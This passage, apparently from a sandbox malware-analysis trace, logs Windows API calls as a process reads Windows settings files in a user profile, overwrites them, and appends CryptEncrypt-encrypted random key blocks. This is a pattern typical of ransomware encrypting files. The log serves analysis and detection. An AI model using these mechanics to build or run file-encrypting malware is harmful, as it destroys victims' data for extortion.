returned 1 [0196.185] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.185] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cc, lpOverlapped=0x0) returned 1 [0196.186] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cc [0196.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.186] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.186] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.187] CloseHandle (hObject=0x1c24) returned 1 [0196.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_AddSecondaryWorkPin.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1088 [0196.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.189] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4df, lpOverlapped=0x0) returned 1 [0196.191] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.191] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4df, lpOverlapped=0x0) returned 1 [0196.191] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4df [0196.191] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.191] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.192] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.192] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.192] CloseHandle (hObject=0x1c24) returned 1 [0196.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.194] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_Windows_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1dc0 [0196.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.194] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.195] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.195] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.196] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f9 [0196.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.196] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.196] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.196] CloseHandle (hObject=0x1c24) returned 1 [0196.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.198] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncPersonalization_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x180) returned 0x30e53a8 [0196.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23e) returned 0x30f68c0 [0196.198] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x535, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x535, lpOverlapped=0x0) returned 1 [0196.200] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1333, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.200] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x535, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x535, lpOverlapped=0x0) returned 1 [0196.200] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x535 [0196.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.200] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.200] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.201] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.201] CloseHandle (hObject=0x1c24) returned 1 [0196.205] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.205] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.205] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncMaster_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1668 [0196.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.205] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50d, lpOverlapped=0x0) returned 1 [0196.206] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.206] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50d, lpOverlapped=0x0) returned 1 [0196.207] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50d [0196.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.207] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.208] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.208] CloseHandle (hObject=0x1c24) returned 1 [0196.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.210] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncLanguage_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x180) returned 0x30df390 [0196.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23e) returned 0x30f68c0 [0196.216] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x512, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0196.217] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1298, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.217] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0196.218] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x512 [0196.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.218] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.219] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.219] CloseHandle (hObject=0x1c24) returned 1 [0196.221] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.221] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.221] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncCredentials_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x180) returned 0x30df208 [0196.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23e) returned 0x30f68c0 [0196.221] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x521, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0196.224] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.225] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x521, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0196.226] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x521 [0196.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.226] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.227] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.227] CloseHandle (hObject=0x1c24) returned 1 [0196.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncBrowserSettings_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x180) returned 0x30df208 [0196.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23e) returned 0x30f68c0 [0196.229] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x535, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x535, lpOverlapped=0x0) returned 1 [0196.230] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1333, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.231] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x535, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x535, lpOverlapped=0x0) returned 1 [0196.231] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x535 [0196.231] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.231] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.231] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.232] CloseHandle (hObject=0x1c24) returned 1 [0196.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_SyncSettings_SyncAccessibility_Toggle.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x180) returned 0x30df208 [0196.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23e) returned 0x30f68c0 [0196.234] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x52b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x52b, lpOverlapped=0x0) returned 1 [0196.245] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1323, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.245] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x52b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52b, lpOverlapped=0x0) returned 1 [0196.246] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52b [0196.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.246] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.247] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.247] CloseHandle (hObject=0x1c24) returned 1 [0196.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.252] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x190) returned 0x30e3a20 [0196.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x256) returned 0x30f68c0 [0196.259] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.274] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.274] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.275] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53d [0196.275] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.275] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.275] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.276] CloseHandle (hObject=0x1c24) returned 1 [0196.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 